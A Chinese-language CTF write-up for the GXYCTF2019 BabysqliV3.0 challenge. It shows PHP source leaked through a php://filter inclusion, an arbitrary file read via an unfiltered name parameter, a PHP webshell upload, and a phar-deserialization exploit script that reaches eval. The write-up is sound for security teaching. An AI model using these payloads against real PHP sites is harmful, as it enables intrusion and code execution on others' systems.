[GXYCTF2019]BabysqliV3.0題解


[GXYCTF2019]BabysqliV3.0

常規分析

題目叫babysqli,剛訪問的時候會有一個登錄頁面,於是我用測了測sql注入,毫無收獲。

最后發現是弱口令,賬號admin,密碼password。

登錄進去以后是這樣的:

Untitled

url末尾是file=的形式,懷疑是文件包含,並且自動在xxx后面加.php。

將file=后面的參數改為php://filter/read=convert.base64-encode/resource=home,解碼后得到home.php的內容。

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "當前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

同理可得到upload.php的內容。

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
        //cmd可以被執行 但是需要token
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上傳的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}
?>

代碼中給了一個class,懷疑可能是一道反序列化的題目,沒有反序列化函數但是又涉及到文件上傳,基本可以確定是一道phar反序列化題目。

反序列化題目一般可用的點主要是各個魔術方法,本題目中兩個魔術方法有可能被利用。

function __toString(){
	global $sandbox;
	global $ext;
	// return $sandbox.$this->Filename.$ext;
	return $this->Filename;
}

function __destruct(){
	if($this->token != $_SESSION['user']){
		$this->cmd = "die('check token falied!');";
	}
      //cmd可以被執行 但是需要token
	eval($this->cmd);
}

可以很明顯的看到__destruct魔術方法中存在eval,有機會被利用。當然,__toString魔術方法也有機會。

非預期1

__toString魔術方法被調用了,該方法返回一個文件名,如果存在讀取文件的操作,也可能被利用。剛好file_get_contents方法觸發了該方法,因此可以通過將Filename參數改為flag的路徑來讀取flag信息。

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上傳的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

恰好在Uploader類中存在一個可以直接控制Filename的方法:

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
}

用戶可以自己傳一個name參數作為Filename,並且過濾也並沒有限制讀取flag。

接下來的過程就比較簡單了,訪問/home.php?file=upload&name=/var/www/html/flag.php,然后隨便上傳一個符合要求的文件,即可得到flag。

Untitled

非預期2

這個題,上傳的時候並沒有過濾PHP,還可以指定上傳的文件名。所以,直接上傳個PHP文件,即可執行命令。本文傳了一個寫有phpinfo的文件進行測試,上傳的文件為a.php。

上傳的時候url為home.php?file=upload&name=a.php。

上傳后訪問根目錄下的a.php即可。

Untitled

預期解

預期解應該是對cmd參數的利用,加下來說一下預期解應該怎么做。

cmd的利用在destruct魔術方法中,要想利用cmd必須繞過對token的比較。

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];

根據上述代碼可知,token來自於\(_SESSION['user']中,而如果用戶不自己傳遞name的值,則Filename的值中會包含\)_SESSION['user']。因此我們可以先隨便上傳一個文件,不傳遞name參數,這樣就可以拿到$_SESSION['user']。

Untitled

前面提到,這看起來是一個標准的phar反序列化題目,可以上傳文件,沒有限制phar協議讀取文件,並且有一個可以被利用的類。接下來就是控制class中各個參數的值,生成一個phar文件並訪問,觸發命令執行,從而得到flag。

exp

<?php
error_reporting(0);
class Uploader{
	public $Filename = 'aaa';
	//可以先用phpinfo等函數測試一下
	public $cmd = 'echo file_get_contents("/var/www/html/flag.php");';
	public $token = 'GXY88cc1f1606f74121a99dd1de5560b585';

}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new Uploader();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

將生成的phar文件上傳,利用phar協議訪問url即可。

下圖分別是用phpinfo測試的結果和最終得到flag的結果。

Untitled

Untitled


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM